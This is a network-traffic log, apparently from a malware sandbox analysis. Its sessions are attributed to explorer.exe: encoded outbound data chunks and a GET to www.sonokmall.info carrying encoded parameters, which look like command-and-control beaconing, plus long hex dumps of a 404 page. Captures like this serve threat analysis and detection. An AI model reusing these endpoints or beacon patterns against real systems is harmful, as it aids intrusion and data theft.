Aug 29, 2023 22:49:51.612324953 CEST	2303	OUT	Data Raw: 4a 4d 2b 65 48 77 36 78 5a 5a 71 56 35 57 33 72 67 4d 58 58 38 4c 70 62 77 72 63 6d 54 32 6b 6a 76 34 6a 78 59 6a 6f 75 68 75 72 55 71 53 53 38 72 78 59 49 32 44 5a 43 76 66 52 73 2b 66 2f 6b 57 33 7a 41 6e 61 59 34 73 57 47 76 41 72 44 78 56 55 Data Ascii: JM+eHw6xZZqV5W3rgMXX8LpbwrcmT2kjv4jxYjouhurUqSS8rxYI2DZCvfRs+f/kW3zAnaY4sWGvArDxVUG4b5Gm6Nkg7FqMpuVf7pqTR8G77ll1XM+Ex0d/hAq2jNZlhjIAkJfFrlaUUoXO5gqe+s7bLlIniCOJ35td3WTZCE4XZ1OamTzUcfB+QMLrdMnHhOEJpuGyAZuGRXUtsRP5g0Jn2CXwsAihbmJ6QZFs3/lI7QQqSnx
Aug 29, 2023 22:49:51.783978939 CEST	2309	OUT	Data Raw: 36 6a 44 48 30 68 6e 55 54 71 6c 54 42 36 75 43 57 33 77 44 66 68 4d 72 48 49 55 73 4d 48 6e 68 51 74 71 70 41 42 4f 2f 66 2b 33 70 64 58 55 71 76 6e 66 69 4b 47 58 47 6e 43 4f 52 7a 32 33 55 35 4e 75 55 53 51 38 42 49 6e 6a 37 77 47 46 30 77 7a Data Ascii: 6jDH0hnUTqlTB6uCW3wDfhMrHIUsMHnhQtqpABO/f+3pdXUqvnfiKGXGnCORz23U5NuUSQ8BInj7wGF0wzcxwOrWqaF3wW0VtqaaqANVM7awgoK5bm8AXVAeU6RhORwVywyrlLR+P7DXZTnwBpYIczn9UPZ0iJC834P4rb8KCUBK1J5YG44+lbpQDBMwOjW11/iFYf4edFWrB0WD+kqkgumeE09xyeXg/qmO2wjCjnl9ZmvJdFG
Aug 29, 2023 22:49:52.066481113 CEST	2320	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:49:51 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx=
Aug 29, 2023 22:49:52.066551924 CEST	2321	IN	Data Raw: 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 Data Ascii: "438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="
Aug 29, 2023 22:49:52.066606998 CEST	2322	IN	Data Raw: 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 Data Ascii: ll: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27.1)" style="fil
Aug 29, 2023 22:49:52.066664934 CEST	2324	IN	Data Raw: 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 31 39 2e 37 22 20 63 79 3d 22 38 31 Data Ascii: 2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="translate(-316.3
Aug 29, 2023 22:49:52.066720009 CEST	2325	IN	Data Raw: 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 Data Ascii: 790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="590" cy="782
Aug 29, 2023 22:49:52.066773891 CEST	2326	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 36 39 2e 34 20 33 37 37 2e 35 29 20 72 Data Ascii: <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:52.066849947 CEST	2328	IN	Data Raw: 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e 37 22 20 63 79 3d 22 37 36 37 2e 39 22 20 72 Data Ascii: 1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="translate(-289.3 346.9
Aug 29, 2023 22:49:52.066951036 CEST	2329	IN	Data Raw: 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 Data Ascii: ="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2" cy="686.9" r=
Aug 29, 2023 22:49:52.067281961 CEST	2330	IN	Data Raw: 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 35 39 2e 37 20 33 33 30 2e 39 29 Data Ascii: <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:52.067343950 CEST	2332	IN	Data Raw: 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 Data Ascii: e(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6 299.4) rotate(-
Aug 29, 2023 22:49:52.238544941 CEST	2333	IN	Data Raw: 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c Data Ascii: rm="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r="3.7" transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.11.20	50049	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:54.141308069 CEST	2359	OUT	GET /aw8o/?5Nag0d=4wyyFbo3wf4GPkojX9lv2Hi85TpF3a9bJFCVb7ujVjad/QnKgAM8Rmx0lfLSMwhbZvHAQ1fpLn066tx6/q5vMcOgf2mjw6QkIA==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:49:54.406542063 CEST	2361	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:49:54 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 42 22 3e 34 30 34 3c 2f 70 3e 0a 20 20 3c 61 20 63 6c 61 73 73 3d 22 74 65 78 74 43 22 20 68 72 65 66 3d 22 23 22 3e 47 6f 20 42 61 63 6b 3c 2f 61 3e 0a 09 3c 73 76 67 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 6e 6f 74 2d 66 6f 75 6e 64 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 38 30 20 31 30 32 34 22 3e 0a 09 09 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 20 20 20 20 3c 67 20 63 6c 61 73 73 3d 22 68 69 64 65 20 74 72 69 2d 64 6f 74 73 22 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 30 36 2e 31 22 20 63 79 3d 22 38 39 30 2e 37 22 20 72 3d 22 33 2e 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 36 31 2e 33 20 32 38 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 36 2e 32 22 20 63 79 3d 22 38 37 38 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 35 33 2e 37 20 32 39 30 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 32 34 2e 34 22 20 63 79 3d 22 38 36 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 31 20 32 38 38 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 34 35 2e 38 22 20 63 79 3d 22 38 36 37 2e 37 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 36 2e 35 20 32 39 38 2e 35 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto+Condensed:400,700'><link rel="stylesheet" href="/style.css"></head><body>... partial:index.partial.html --><div class="container"> <p class="textA">Page Not Found</p> <p class="textB">404</p> <a class="textC" href="#">Go Back</a><svg class="page-not-found" viewBox="0 0 1280 1024"> <title>Page Not Found</title> <g class="hide tri-dots"> <circle cx="406.1" cy="890.7" r="3.5" transform="translate(-361.3 283) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="426.2" cy="878.8" r="3.7" transform="translate(-353.7 290.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="424.4" cy="861.8" r="3.7" transform="translate(-346.1 288.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="445.8" cy="867.7" r="3.7" transform="translate(-346.5 298.5) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:54.406637907 CEST	2362	IN	Data Raw: 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 33 38 2e 33 22 20 63 79 3d 22 38 35 31 2e 38 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 33 34 30 2e 31 20 32 39 33 2e 34 29 20 72 6f 74 61 74 Data Ascii: <circle cx="438.3" cy="851.8" r="3.7" transform="translate(-340.1 293.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="453.8" cy="845.8" r="3.7" transform="translate(-335.6 299.8) rotate(-27.1)" style="fill: #ffe029"/>
Aug 29, 2023 22:49:54.406703949 CEST	2363	IN	Data Raw: 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 34 38 37 2e 39 22 20 63 79 3d 22 38 31 30 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 Data Ascii: 7.1)" style="fill: #ffe029"/> <circle cx="487.9" cy="810.2" r="3.7" transform="translate(-315.6 311.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="489.8" cy="791.1" r="3.7" transform="translate(-306.7 310.1) rotate(-27
Aug 29, 2023 22:49:54.406789064 CEST	2365	IN	Data Raw: 74 72 61 6e 73 6c 61 74 65 28 2d 33 31 30 2e 32 20 33 31 38 2e 32 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 Data Ascii: translate(-310.2 318.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="519.7" cy="812.9" r="3.7" transform="translate(-313.4 326.2) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="534.7" cy="822.9" r="3.7" transform="t
Aug 29, 2023 22:49:54.406884909 CEST	2366	IN	Data Raw: 63 78 3d 22 35 37 32 2e 35 22 20 63 79 3d 22 37 39 30 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 39 37 2e 33 20 33 34 37 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 Data Ascii: cx="572.5" cy="790.5" r="3.7" transform="translate(-297.3 347.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="589.7" cy="797.2" r="3.7" transform="translate(-298.5 356.4) rotate(-27.1)" style="fill: #ffe029"/> <circle c
Aug 29, 2023 22:49:54.406945944 CEST	2367	IN	Data Raw: 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 36 34 38 22 20 63 79 3d 22 37 34 37 2e 35 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 Data Ascii: ill: #ffe029"/> <circle cx="648" cy="747.5" r="3.7" transform="translate(-269.4 377.5) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="643.5" cy="727.1" r="3.7" transform="translate(-260.6 373.2) rotate(-27.1)" style="fill
Aug 29, 2023 22:49:54.407023907 CEST	2369	IN	Data Raw: 61 74 65 28 2d 32 37 36 2e 39 20 33 35 35 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 39 34 2e Data Ascii: ate(-276.9 355.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="594.7" cy="767.9" r="3.7" transform="translate(-284.6 355.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="574.7" cy="773.4" r="3.7" transform="transla
Aug 29, 2023 22:49:54.407103062 CEST	2370	IN	Data Raw: 38 22 20 63 79 3d 22 36 38 31 2e 32 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 37 2e 33 20 33 33 36 2e 38 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c Data Ascii: 8" cy="681.2" r="3.7" transform="translate(-247.3 336.8) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="559.1" cy="669.7" r="3.7" transform="translate(-243.8 328.4) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="558.2
Aug 29, 2023 22:49:54.407170057 CEST	2371	IN	Data Raw: 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 35 36 2e 33 22 20 63 79 3d 22 37 30 33 2e 39 22 20 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 Data Ascii: ill: #ffe029"/> <circle cx="556.3" cy="703.9" r="3.7" transform="translate(-259.7 330.9) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="552.7" cy="720.2" r="3.7" transform="translate(-267.5 331.1) rotate(-27.1)" style="fi
Aug 29, 2023 22:49:54.407253027 CEST	2373	IN	Data Raw: 2e 33 20 33 31 35 2e 31 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a 09 09 09 20 20 20 20 20 20 3c 63 69 72 63 6c 65 20 63 78 3d 22 35 30 31 22 20 63 79 3d 22 37 31 37 Data Ascii: .3 315.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="501" cy="717.2" r="3.7" transform="translate(-271.8 307.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="487.1" cy="704.7" r="3.7" transform="translate(-267.6
Aug 29, 2023 22:49:54.578991890 CEST	2374	IN	Data Raw: 72 3d 22 33 2e 37 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 32 34 30 2e 32 20 32 39 36 2e 33 29 20 72 6f 74 61 74 65 28 2d 32 37 2e 31 29 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 20 23 66 66 65 30 32 39 22 2f 3e 0a Data Ascii: r="3.7" transform="translate(-240.2 296.3) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="478.7" cy="654.5" r="3.7" transform="translate(-245.7 290.1) rotate(-27.1)" style="fill: #ffe029"/> <circle cx="477.7" cy="634.1" r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49988	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
